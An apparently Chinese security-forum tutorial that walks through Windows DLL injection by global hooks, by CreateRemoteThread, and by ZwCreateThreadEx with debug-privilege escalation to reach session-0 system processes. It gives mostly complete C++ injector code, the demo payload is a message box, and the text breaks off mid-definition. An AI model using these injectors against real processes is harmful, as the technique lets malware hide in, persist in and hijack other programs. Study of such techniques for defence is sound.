奇安信攻防社区-初探dll注入

初探dll注入

# 全局钩子注入在Windows大部分应用都是基于消息机制，他们都拥有一个消息过程函数，根据不同消息完成不同功能，windows通过钩子机制来截获和监视系统中的这些消息。一般钩子分局部钩子...

全局钩子注入
======

在Windows大部分应用都是基于消息机制，他们都拥有一个消息过程函数，根据不同消息完成不同功能，windows通过钩子机制来截获和监视系统中的这些消息。一般钩子分局部钩子与全局钩子，局部钩子一般用于某个线程，而全局钩子一般通过dll文件实现相应的钩子函数。

核心函数
----

SetWindowsHookEx

```c++
HHOOK WINAPI SetWindowsHookEx(
__in int idHook, \\钩子类型
__in HOOKPROC lpfn, \\回调函数地址
__in HINSTANCE hMod, \\实例句柄
__in DWORD dwThreadId); \\线程ID
```

通过设定钩子类型与回调函数的地址，将定义的钩子函数安装到挂钩链中。如果函数成功返回钩子的句柄，如果函数失败，则返回NULL

实现原理
----

由上述介绍可以知道如果创建的是全局钩子，那么钩子函数必须在一个DLL中。这是因为进程的地址空间是独立的,发生对应事件的进程不能调用其他进程地址空间的钩子函数。如果钩子函数的实现代码在DLL中,则在对应事件发生时，系统会把这个DLL加较到发生事体的进程地址空间中,使它能够调用钩子函数进行处理。

在操作系统中安装全局钩子后,只要进程接收到可以发出钩子的消息，全局钩子的DLL文件就会由操作系统自动或强行地加载到该进程中。因此，设置全局钩子可以达到DLL注入的目的。创建一个全局钩子后,在对应事件发生的时候,系统就会把 DLL加载到发生事件的进程中,这样,便实现了DLL注入。

为了能够让DLL注入到所有的进程中,程序设置`WH_GETMESSAGE`消息的全局钩子。因为`WH_GETMESSAGE`类型的钩子会监视消息队列，并且 Windows系统是基于消息驱动的,所以所有进程都会有自己的一个消息队列，都会加载 `WH_GETMESSAGE`类型的全局钩子DLL。

那么设置`WH_GETMESSAGE`就可以通过以下代码实现，记得加上判断是否设置成功

```c++
// 设置全局钩子

BOOL SetHook()
{
    g_Hook = ::SetWindowsHookEx(WH_GETMESSAGE, (HOOKPROC)GetMsgProc, g_hDllMoudle, 0);

if (g_Hook == NULL)
    {
        return FALSE;
    }

return TRUE;
}
```

这里第二个参数是回调函数，那么我们还需要写一个回调函数的实现，这里就需要用到`CallNextHookEx`这个api，主要是第一个参数，这里传入钩子的句柄的话，就会把当前钩子传递给下一个钩子，若参数传入0则对钩子进行拦截

```c++
// 钩子回调函数
LRESULT GetMsgProc(int code, WPARAM wParam, LPARAM lParam)
{
    return ::CallNextHookEx(g_Hook, code, wParam, lParam);
}
```

既然我们写入了钩子，如果不使用的情况下就需要将钩子卸载掉，那么这里使用到`UnhookWindowsHookEx`这个api来卸载钩子

```c++
// 卸载钩子
BOOL UnsetHook()
{
    if (g_Hook)
    {
        ::UnhookWindowsHookEx(g_Hook);
    }
}
```

既然我们使用到了`SetWindowsHookEx`这个api，就需要进行进程间的通信，进程通信的方法有很多，比如自定义消息、管道、dll共享节、共享内存等等，这里就用共享内存来实现进程通信

```c++
// 共享内存
#pragma data_seg("mydata")
    HHOOK g_hHook = NULL;
#pragma data_seg()
#pragma comment(linker, "/SECTION:mydata,RWS"
```

实现过程
----

首先新建一个dll

[![](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-7c04181cee43c5e3c20155efc29c80021af8def8.png)](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-7c04181cee43c5e3c20155efc29c80021af8def8.png)

在`pch.h`头文件里面声明这几个我们定义的函数都是裸函数，由我们自己平衡堆栈

```c++
extern "C" _declspec(dllexport) int SetHook();
extern "C" _declspec(dllexport) LRESULT GetMsgProc(int code, WPARAM wParam, LPARAM lParam);
extern "C" _declspec(dllexport) BOOL UnsetHook();
```

[![](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-9bb6c0b22cd6e6191f04efb88532a0dff6036f78.png)](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-9bb6c0b22cd6e6191f04efb88532a0dff6036f78.png)

然后在`pch.cpp`里面写入三个函数并创建共享内存

```c++
// pch.cpp: 与预编译标头对应的源文件

#include "pch.h"
#include <windows.h>
#include <stdio.h>

extern HMODULE g_hDllModule;

// 共享内存
#pragma data_seg("mydata")
HHOOK g_hHook = NULL;
#pragma data_seg()
#pragma comment(linker, "/SECTION:mydata,RWS")

//钩子回调函数
LRESULT GetMsgProc(int code, WPARAM wParam, LPARAM lParam) {
    return ::CallNextHookEx(g_hHook, code, wParam, lParam);
}

// 设置钩子
BOOL SetHook() {
    g_hHook = SetWindowsHookEx(WH_GETMESSAGE, (HOOKPROC)GetMsgProc, g_hDllModule, 0);
    if (NULL == g_hHook) {
        return FALSE;
    }
    return TRUE;
}

// 卸载钩子
BOOL UnsetHook() {
    if (g_hHook) {
        UnhookWindowsHookEx(g_hHook);
    }
    return TRUE;
}
```

[![](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-8b65d98ef49e2ee7f5aad2d43260a1b3421ed1a1.png)](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-8b65d98ef49e2ee7f5aad2d43260a1b3421ed1a1.png)

然后再在`dllmain.cpp`设置`DLL_PROCESS_ATTACH`，然后编译生成`Golbal.dll`

```c++
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
HMODULE g_hDllModule = NULL;

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH: 
    {
        g_hDllModule = hModule;
        break;
    }
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}
```

[![](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-506c1a2079880c6aac51e47071280c401f6fd38f.png)](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-506c1a2079880c6aac51e47071280c401f6fd38f.png)

再创建一个控制台项目

[![](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-925e2ed6fb08d008085e91026dbde0336b6a2ce6.png)](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-925e2ed6fb08d008085e91026dbde0336b6a2ce6.png)

使用`LoadLibrabryW`加载dll，生成`GolbalInjectDll.cpp`文件

```c++
// GolbalInjectDll.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//

#include <iostream>
#include <Windows.h>

int main()
{
    typedef BOOL(*typedef_SetGlobalHook)();
    typedef BOOL(*typedef_UnsetGlobalHook)();
    HMODULE hDll = NULL;
    typedef_SetGlobalHook SetGlobalHook = NULL;
    typedef_UnsetGlobalHook UnsetGlobalHook = NULL;
    BOOL bRet = FALSE;

do
    {
        hDll = ::LoadLibraryW(TEXT("F:\\C++\\GolbalDll\\Debug\\GolbalDll.dll"));
        if (NULL == hDll)
        {
            printf("LoadLibrary Error[%d]\n", ::GetLastError());
            break;
        }

SetGlobalHook = (typedef_SetGlobalHook)::GetProcAddress(hDll, "SetHook");
        if (NULL == SetGlobalHook)
        {
            printf("GetProcAddress Error[%d]\n", ::GetLastError());
            break;
        }

bRet = SetGlobalHook();
        if (bRet)
        {
            printf("SetGlobalHook OK.\n");
        }
        else
        {
            printf("SetGlobalHook ERROR.\n");
        }

system("pause");

UnsetGlobalHook = (typedef_UnsetGlobalHook)::GetProcAddress(hDll, "UnsetHook");
        if (NULL == UnsetGlobalHook)
        {
            printf("GetProcAddress Error[%d]\n", ::GetLastError());
            break;
        }
        UnsetGlobalHook();
        printf("UnsetGlobalHook OK.\n");

} while (FALSE);

system("pause");
    return 0;
}
```

执行即可注入`GolbalDll.dll`

[![](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-535a9a810a91fd7ea38ac0cb53c06490fed76011.png)](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-535a9a810a91fd7ea38ac0cb53c06490fed76011.png)

[![](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-26acb298d6a0adbf0cc80f78201cbc5fa77caf43.png)](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-26acb298d6a0adbf0cc80f78201cbc5fa77caf43.png)

远程线程注入
======

远程线程函数顾名思义，指一个进程在另一个进程中创建线程。

核心函数
----

**CreateRemoteThread**

```c++
HANDLE CreateRemoteThread(
  HANDLE                 hProcess,
  LPSECURITY_ATTRIBUTES  lpThreadAttributes,
  SIZE_T                 dwStackSize,
  LPTHREAD_START_ROUTINE lpStartAddress,
  LPVOID                 lpParameter,
  DWORD                  dwCreationFlags,
  LPDWORD                lpThreadId
);
```

> lpStartAddress：A pointer to the application-defined function of type **LPTHREAD\_START\_ROUTINE** to be executed by the thread and represents the starting address of the thread in the remote process. The function must exist in the remote process. For more information, see [ThreadProc](https://docs.microsoft.com/en-us/previous-versions/windows/desktop/legacy/ms686736(v=vs.85)).
> 
> lpParameter：A pointer to a variable to be passed to the thread function.

lpStartAddress即线程函数，使用LoadLibrary的地址作为线程函数地址；lpParameter为线程函数参数，使用dll路径作为参数

**VirtualAllocEx**

是在指定进程的虚拟空间保留或提交内存区域，除非指定MEM\_RESET参数，否则将该内存区域置0。

```c++
LPVOID VirtualAllocEx(
  HANDLE hProcess,
  LPVOID lpAddress,
  SIZE_T dwSize,
  DWORD  flAllocationType,
  DWORD  flProtect
);
```

> hProcess：申请内存所在的进程句柄
> 
> lpAddress：保留页面的内存地址；一般用NULL自动分配 。
> 
> dwSize：欲分配的内存大小，字节单位；注意实际分 配的内存大小是页内存大小的整数倍。
> 
> flAllocationType
> 
> 可取下列值：
> 
> MEM\_COMMIT：为特定的页面区域分配内存中或磁盘的页面文件中的物理存储
> 
> MEM\_PHYSICAL ：分配物理内存（仅用于地址窗口扩展内存）
> 
> MEM\_RESERVE：保留进程的虚拟地址空间，而不分配任何物理存储。保留页面可通过继续调用VirtualAlloc（）而被占用
> 
> MEM\_RESET ：指明在内存中由参数lpAddress和dwSize指定的数据无效
> 
> MEM\_TOP\_DOWN：在尽可能高的地址上分配内存（Windows 98忽略此标志）
> 
> MEM\_WRITE\_WATCH：必须与MEM\_RESERVE一起指定，使系统跟踪那些被写入分配区域的页面（仅针对Windows 98）
> 
> ## flProtect
> 
> 可取下列值：
> 
> PAGE\_READONLY： 该区域为只读。如果应用程序试图访问区域中的页的时候，将会被拒绝访
> 
> PAGE\_READWRITE 区域可被应用程序读写
> 
> PAGE\_EXECUTE： 区域包含可被系统执行的代码。试图读写该区域的操作将被拒绝。
> 
> PAGE\_EXECUTE\_READ ：区域包含可执行代码，应用程序可以读该区域。
> 
> PAGE\_EXECUTE\_READWRITE： 区域包含可执行代码，应用程序可以读写该区域。
> 
> PAGE\_GUARD： 区域第一次被访问时进入一个STATUS\_GUARD\_PAGE异常，这个标志要和其他保护标志合并使用，表明区域被第一次访问的权限
> 
> PAGE\_NOACCESS： 任何访问该区域的操作将被拒绝
> 
> PAGE\_NOCACHE： RAM中的页映射到该区域时将不会被微处理器缓存（cached)
> 
> 注:PAGE\_GUARD和PAGE\_NOCHACHE标志可以和其他标志合并使用以进一步指定页的特征。PAGE\_GUARD标志指定了一个防护页（guard page），即当一个页被提交时会因第一次被访问而产生一个one-shot异常，接着取得指定的访问权限。PAGE\_NOCACHE防止当它映射到虚拟页的时候被微处理器缓存。这个标志方便[设备驱动](https://baike.baidu.com/item/%E8%AE%BE%E5%A4%87%E9%A9%B1%E5%8A%A8)使用[直接内存访问](https://baike.baidu.com/item/%E7%9B%B4%E6%8E%A5%E5%86%85%E5%AD%98%E8%AE%BF%E9%97%AE/6024586)方式（DMA）来共享内存块。

**WriteProcessMemory**

此函数能写入某一进程的内存区域（直接写入会出Access Violation错误），故需此函数入口区必须可以访问，否则操作将失败。

```c++
BOOL WriteProcessMemory(
  HANDLE  hProcess,         //进程句柄
  LPVOID  lpBaseAddress,    //写入的内存首地址
  LPCVOID lpBuffer,         //要写数据的指针
  SIZE_T  nSize,            //x
  SIZE_T  *lpNumberOfBytesWritten
);
```

实现原理
----

使用`CreateRemoteThread`这个API，首先使用`CreateToolhelp32Snapshot`拍摄快照获取pid，然后使用`Openprocess`打开进程，使用`VirtualAllocEx`

远程申请空间，使用`WriteProcessMemory`写入数据，再用`GetProcAddress`获取`LoadLibraryW`的地址（由于Windows引入了基址随机化ASLR安全机制,所以导致每次开机启动时系统DLL加载基址都不一样,有些系统dll(kernel,ntdll)的加载地址,允许每次启动基址可以改变,但是启动之后必须固定,也就是说两个不同进程在相互的虚拟内存中,这样的系统dll地址总是一样的），在注入进程中创建线程(`CreateRemoteThread`)

实现过程
----

首先生成一个dll文件，实现简单的弹窗即可

```c++
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )

{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        MessageBox(NULL, L"success!", L"Congratulation", MB_OK);
    case DLL_THREAD_ATTACH:
        MessageBox(NULL, L"success!", L"Congratulation", MB_OK);
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}
```

我们要想进行远程线程注入，那么就需要得到进程的pid，这里使用到的是`CreateToolhelp32Snapshot`这个api拍摄快照来进行获取，注意我这里定义了`#include "tchar.h"`，所有函数都是使用的宽字符

```c++
// 通过进程快照获取PID
DWORD _GetProcessPID(LPCTSTR lpProcessName)
{
      DWORD Ret = 0;
      PROCESSENTRY32 p32;

HANDLE lpSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

if (lpSnapshot == INVALID_HANDLE_VALUE)
      {
          printf("获取进程快照失败,请重试! Error:%d", ::GetLastError());

return Ret;
      }

p32.dwSize = sizeof(PROCESSENTRY32);
      ::Process32First(lpSnapshot, &p32);

do {
          if (!lstrcmp(p32.szExeFile, lpProcessName))
          {
              Ret = p32.th32ProcessID;
              break;
          }
      } while (::Process32Next(lpSnapshot, &p32));

::CloseHandle(lpSnapshot);
      return Ret;
}
```

首先使用`OpenProcess`打开进程

```c++
hprocess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, _Pid);
```

然后使用`VirtualAllocEx`远程申请空间

```c++
pAllocMemory = ::VirtualAllocEx(hprocess, NULL, _Size, MEM_COMMIT, PAGE_READWRITE);
```

然后写入内存，使用`WriteProcessMemory`

```c++
Write = ::WriteProcessMemory(hprocess, pAllocMemory, DllName, _Size, NULL);
```

然后创建线程并等待线程函数结束，这里`WaitForSingleObject`的第二个参数要设置为-1才能够一直等待

```c++
//在另一个进程中创建线程
hThread = ::CreateRemoteThread(hprocess, NULL, 0, addr, pAllocMemory, 0, NULL);

//等待线程函数结束，获得退出码
WaitForSingleObject(hThread, -1);
GetExitCodeThread(hThread, &DllAddr);
```

综上完整代码如下

```c++
// RemoteThreadInject.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//

#include <iostream>
#include <windows.h>
#include <TlHelp32.h>
#include "tchar.h"
char string_inject[] = "F:\\C++\\Inject\\Inject\\Debug\\Inject.dll";

//通过进程快照获取PID
DWORD _GetProcessPID(LPCTSTR lpProcessName)
{
      DWORD Ret = 0;
      PROCESSENTRY32 p32;

HANDLE lpSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

if (lpSnapshot == INVALID_HANDLE_VALUE)
      {
          printf("获取进程快照失败,请重试! Error:%d", ::GetLastError());

return Ret;
      }

p32.dwSize = sizeof(PROCESSENTRY32);
      ::Process32First(lpSnapshot, &p32);

do {
          if (!lstrcmp(p32.szExeFile, lpProcessName))
          {
              Ret = p32.th32ProcessID;
              break;
          }
      } while (::Process32Next(lpSnapshot, &p32));

::CloseHandle(lpSnapshot);
      return Ret;
}

//打开一个进程并为其创建一个线程
DWORD _RemoteThreadInject(DWORD _Pid, LPCWSTR DllName)
{
         //打开进程
         HANDLE hprocess;
         HANDLE hThread;
         DWORD _Size = 0;
         BOOL Write = 0;
         LPVOID pAllocMemory = NULL;
         DWORD DllAddr = 0;
         FARPROC pThread;

hprocess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, _Pid);
         //Size = sizeof(string_inject);
         _Size = (_tcslen(DllName) + 1) * sizeof(TCHAR);

//远程申请空间
         pAllocMemory = ::VirtualAllocEx(hprocess, NULL, _Size, MEM_COMMIT, PAGE_READWRITE);

if (pAllocMemory == NULL)
             {
                 printf("VirtualAllocEx - Error!");
                 return FALSE;
             }

// 写入内存
         Write = ::WriteProcessMemory(hprocess, pAllocMemory, DllName, _Size, NULL);

if (Write == FALSE)
             {
                 printf("WriteProcessMemory - Error!");
                 return FALSE;
             }

//获取LoadLibrary的地址
         pThread = ::GetProcAddress(::GetModuleHandle(L"kernel32.dll"), "LoadLibraryW");
         LPTHREAD_START_ROUTINE addr = (LPTHREAD_START_ROUTINE)pThread;

//在另一个进程中创建线程
         hThread = ::CreateRemoteThread(hprocess, NULL, 0, addr, pAllocMemory, 0, NULL);

if (hThread == NULL)
             {
                 printf("CreateRemoteThread - Error!");
                 return FALSE;1
             }

//等待线程函数结束，获得退出码
         WaitForSingleObject(hThread, -1);
         GetExitCodeThread(hThread, &DllAddr);

//释放DLL空间
         VirtualFreeEx(hprocess, pAllocMemory, _Size, MEM_DECOMMIT);

//关闭线程句柄
         ::CloseHandle(hprocess);
         return TRUE;
}
 int main()
{
     DWORD PID = _GetProcessPID(L"test.exe");
     _RemoteThreadInject(PID, L"F:\\C++\\Inject\\Inject\\Debug\\Inject.dll");
}
```

然后这里生成一个`test.exe`来做测试

[![](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-befcfddfc7edb065cfbfc7331df308994247b15c.png)](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-befcfddfc7edb065cfbfc7331df308994247b15c.png)

编译并运行，实现效果如下

[![](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-3c7c0bd9e7fb149ec0aedd1dc4e9423e51eb76ff.jpg)](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-3c7c0bd9e7fb149ec0aedd1dc4e9423e51eb76ff.jpg)

突破session 0的远程线程注入
==================

首先提一提session0的概念：

Intel的CPU将特权级别分为4个级别：RING0,RING1,RING2,RING3。Windows只使用其中的两个级别RING0和RING3，RING0只给操作系统用，RING3谁都能用。如果普通应用程序企图执行RING0指令，则Windows会显示“非法指令”错误信息。

ring0是指CPU的运行级别，ring0是最高级别，ring1次之，ring2更次之…… 拿Linux+x86来说， 操作系统（内核）的代码运行在最高运行级别ring0上，可以使用特权指令，控制中断、修改页表、访问设备等等。 应用程序的代码运行在最低运行级别上ring3上，不能做受控操作。如果要做，比如要访问磁盘，写文件，那就要通过执行系统调用（函数），执行系统调用的时候，CPU的运行级别会发生从ring3到ring0的切换，并跳转到系统调用对应的内核代码位置执行，这样内核就为你完成了设备访问，完成之后再从ring0返回ring3。这个过程也称作用户态和内核态的切换。

RING设计的初衷是将系统权限与程序分离出来，使之能够让OS更好的管理当前系统资源，也使得系统更加稳定。举个RING权限的最简单的例子：一个停止响应的应用程式，它运行在比RING0更低的指令环上，你不必大费周章的想着如何使系统回复运作，这期间，只需要启动任务管理器便能轻松终止它，因为它运行在比程式更低的RING0指令环中，拥有更高的权限，可以直接影响到RING0以上运行的程序，当然有利就有弊，RING保证了系统稳定运行的同时，也产生了一些十分麻烦的问题。比如一些OS虚拟化技术，在处理RING指令环时便遇到了麻烦，系统是运行在RING0指令环上的，但是虚拟的OS毕竟也是一个系统，也需要与系统相匹配的权限。而RING0不允许出现多个OS同时运行在上面，最早的解决办法便是使用虚拟机，把OS当成一个程序来运行。

核心函数
----

**ZwCreateThreadEx**

注意一下这个地方`ZwCreateThreadEx`这个函数在32位和64位中的定义不同

在32位的情况下

```c++
DWORD WINAPI ZwCreateThreadEx(
         PHANDLE ThreadHandle,
         ACCESS_MASK DesiredAccess,
         LPVOID ObjectAttributes,
         HANDLE ProcessHandle,
         LPTHREAD_START_ROUTINE lpStartAddress,
         LPVOID lpParameter,
         BOOL CreateSuspended,
         DWORD dwStackSize,
         DWORD dw1,
         DWORD dw2,
         LPVOID pUnkown);
```

在64位的情况下

```c++
DWORD WINAPI ZwCreateThreadEx(
         PHANDLE ThreadHandle,
         ACCESS_MASK DesiredAccess,
         LPVOID ObjectAttributes,
         HANDLE ProcessHandle,
         LPTHREAD_START_ROUTINE lpStartAddress,
         LPVOID lpParameter,
         ULONG CreateThreadFlags,
         SIZE_T ZeroBits,
         SIZE_T StackSize,
         SIZE_T MaximumStackSize,
         LPVOID pUnkown);
```

这里因为我们要进到session 0那么就势必要到system权限，所以这里还有几个提权需要用到的函数

**OpenProcessToken**

```C++
BOOL OpenProcessToken(
__in HANDLE ProcessHandle, //要修改访问权限的进程句柄
__in DWORD DesiredAccess, //指定你要进行的操作类型
__out PHANDLE TokenHandle //返回的访问令牌指针
);
```

**LookupPrivilegeValueA**

```C++
BOOL LookupPrivilegeValueA(
  LPCSTR lpSystemName, //要查看的系统，本地系统直接用NULL
  LPCSTR lpName,    //指向一个以零结尾的字符串，指定特权的名称
  PLUID  lpLuid     //用来接收所返回的制定特权名称的信息
);
```

**AdjustTokenPrivileges**

```C++
BOOL AdjustTokenPrivileges(
HANDLE TokenHandle, //包含特权的句柄
BOOL DisableAllPrivileges,//禁用所有权限标志
PTOKEN_PRIVILEGES NewState,//新特权信息的指针(结构体)
DWORD BufferLength, //缓冲数据大小,以字节为单位的PreviousState的缓存区(sizeof)
PTOKEN_PRIVILEGES PreviousState,//接收被改变特权当前状态的Buffer
PDWORD ReturnLength //接收PreviousState缓存区要求的大小
);
```

实现原理
----

`ZwCreateThreadEx`比 `CreateRemoteThread`函数更为底层,`CreateRemoteThread`函数最终是通过调用`ZwCreateThreadEx`函数实现远线程创建的。

通过调用`CreateRemoteThread`函数创建远线程的方式在内核6.0（Windows VISTA、7、8等）以前是完全没有问题的，但是在内核6.0 以后引入了会话隔离机制。它在创建一个进程之后并不立即运行，而是先挂起进程，在查看要运行的进程所在的会话层之后再决定是否恢复进程运行。

在Windows XP、Windows Server 2003，以及更老版本的Windows操作系统中，服务和应用程序使用相同的会话（Session）运行，而这个会话是由第一个登录到控制台的用户启动的。该会话就叫做Session 0，如下图所示，在Windows Vista之前，Session 0不仅包含服务，也包含标准用户应用程序。

[![](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-34830666343ed00bc8c821b6dda95d1734c1d7a9.png)](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-34830666343ed00bc8c821b6dda95d1734c1d7a9.png)

将服务和用户应用程序一起在Session 0中运行会导致安全风险，因为服务会使用提升后的权限运行，而用户应用程序使用用户特权（大部分都是非管理员用户）运行，这会使得恶意软件以某个服务为攻击目标，通过“劫持”该服务，达到提升自己权限级别的目的。

从Windows Vista开始，只有服务可以托管到Session 0中，用户应用程序和服务之间会被隔离，并需要运行在用户登录到系统时创建的后续会话中。例如第一个登录的用户创建 Session 1，第二个登录的用户创建Session 2，以此类推，如下图所示。

[![](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-3c87893fac2229d275a99c0a6a93e602f8f82f00.png)](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-3c87893fac2229d275a99c0a6a93e602f8f82f00.png)

使用`CreateRemoteThread`注入失败DLL失败的关键在第七个参数`CreateThreadFlags`， 他会导致线程创建完成后一直挂起无法恢复进程运行，导致注入失败。而想要注册成功，把该参数的值改为0即可。

实现过程
----

在win10系统下如果我们要注入系统权限的exe，就需要使用到debug调试权限，所以先写一个提权函数。

```c++
// 提权函数
BOOL EnableDebugPrivilege()
{
    HANDLE hToken;
    BOOL fOk = FALSE;
    if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
    {
        TOKEN_PRIVILEGES tp;
        tp.PrivilegeCount = 1;
        LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);

tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
        AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);

fOk = (GetLastError() == ERROR_SUCCESS);
        CloseHandle(hToken);
    }
    return fOk;

}
```

在进程注入dll的过程中，是不能够使用MessageBox的，系统程序不能够显示程序的窗体，所以这里编写一个`ShowError`函数来获取错误码

```c++
void ShowError(const char* pszText)
{
    char szError[MAX_PATH] = { 0 };
    ::wsprintf(szError, "%s Error[%d]\n", pszText, ::GetLastError());
    ::MessageBox(NULL, szError, "ERROR", MB_OK);
}
```

首先打开进程获取句柄，使用到`OpenProcess`

```c++
hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);
```

然后是在注入的进程申请内存地址，使用到`VirtualAllocEx`

```c++
pDllAddr = ::VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
```

再使用`WriteProcessMemory`写入内存

```c++
WriteProcessMemory(hProcess, pDllAddr, pszDllFileName, dwSize, NULL)
```

加载ntdll，获取LoadLibraryA函数地址

```c++
HMODULE hNtdllDll = ::LoadLibrary("ntdll.dll");

pFuncProcAddr = ::GetProcAddress(::GetModuleHandle("Kernel32.dll"), "LoadLibraryA");
```

获取ZwCreateThreadEx函数地址

```c++
typedef_ZwCreateThreadEx ZwCreateThreadEx = (typedef_ZwCreateThreadEx)::GetProcAddress(hNtdllDll, "ZwCreateThreadEx");
```

使用 `ZwCreateThreadEx`创建远线程, 实现 DLL 注入

```c++
dwStatus = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hProcess, (LPTHREAD_START_ROUTINE)pFuncProcAddr, pDllAddr, 0, 0, 0, 0, NULL);
```

这里还有一点需要注意的是`ZwCreateThreadEx`在 `ntdll.dll` 中并没有声明，所以我们需要使用 `GetProcAddress`从 `ntdll.dll`中获取该函数的导出地址

这里加上`ZwCreateThreadEx`的定义，因为64位、32位结构不同，所以都需要进行定义

```c++
#ifdef _WIN64
    typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
        PHANDLE ThreadHandle,
        ACCESS_MASK DesiredAccess,
        LPVOID ObjectAttributes,
        HANDLE ProcessHandle,
        LPTHREAD_START_ROUTINE lpStartAddress,
        LPVOID lpParameter,
        ULONG CreateThreadFlags,
        SIZE_T ZeroBits,
        SIZE_T StackSize,
        SIZE_T MaximumStackSize,
        LPVOID pUnkown);
#else
    typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
        PHANDLE ThreadHandle,
        ACCESS_MASK DesiredAccess,
        LPVOID ObjectAttributes,
        HANDLE ProcessHandle,
        LPTHREAD_START_ROUTINE lpStartAddress,
        LPVOID lpParameter,
        BOOL CreateSuspended,
        DWORD dwStackSize,
        DWORD dw1,
        DWORD dw2,
        LPVOID pUnkown);
```

完整代码如下

```c++
// session0Inject.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//

#include <Windows.h>
#include <stdio.h>
#include <iostream>

void ShowError(const char* pszText)
{
    char szError[MAX_PATH] = { 0 };
    ::wsprintf(szError, "%s Error[%d]\n", pszText, ::GetLastError());
    ::MessageBox(NULL, szError, "ERROR", MB_OK);
}

// 提权函数
BOOL EnableDebugPrivilege()
{
    HANDLE hToken;
    BOOL fOk = FALSE;
    if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
    {
        TOKEN_PRIVILEGES tp;
        tp.PrivilegeCount = 1;
        LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);

tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
        AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);

fOk = (GetLastError() == ERROR_SUCCESS);
        CloseHandle(hToken);
    }
    return fOk;

}

// 使用 ZwCreateThreadEx 实现远线程注入
BOOL ZwCreateThreadExInjectDll(DWORD PID,const char* pszDllFileName)
{
    HANDLE hProcess = NULL;
    SIZE_T dwSize = 0;
    LPVOID pDllAddr = NULL;
    FARPROC pFuncProcAddr = NULL;
    HANDLE hRemoteThread = NULL;
    DWORD dwStatus = 0;

EnableDebugPrivilege();

// 打开注入进程，获取进程句柄
    hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);

if (hProcess == NULL) 
    {
        printf("OpenProcess - Error!\n\n");
        return -1 ;
    }
    // 在注入的进程申请内存地址

dwSize = ::lstrlen(pszDllFileName) + 1;
    pDllAddr = ::VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);

if (NULL == pDllAddr)
    {
        ShowError("VirtualAllocEx - Error!\n\n");
        return FALSE;
    }
    //写入内存地址

if (FALSE == ::WriteProcessMemory(hProcess, pDllAddr, pszDllFileName, dwSize, NULL))
    {
        ShowError("WriteProcessMemory - Error!\n\n");
        return FALSE;
    }
    //加载ntdll
    HMODULE hNtdllDll = ::LoadLibrary("ntdll.dll");

if (NULL == hNtdllDll)
    {
        ShowError("LoadLirbary");
        return FALSE;
    }
    // 获取LoadLibraryA函数地址
    pFuncProcAddr = ::GetProcAddress(::GetModuleHandle("Kernel32.dll"), "LoadLibraryA");

if (NULL == pFuncProcAddr)
    {
        ShowError("GetProcAddress_LoadLibraryA - Error!\n\n");
        return FALSE;
    }

#ifdef _WIN64
    typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
        PHANDLE ThreadHandle,
        ACCESS_MASK DesiredAccess,
        LPVOID ObjectAttributes,
        HANDLE ProcessHandle,
        LPTHREAD_START_ROUTINE lpStartAddress,
        LPVOID lpParameter,
        ULONG CreateThreadFlags,
        SIZE_T ZeroBits,
        SIZE_T StackSize,
        SIZE_T MaximumStackSize,
        LPVOID pUnkown);
#else
    typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
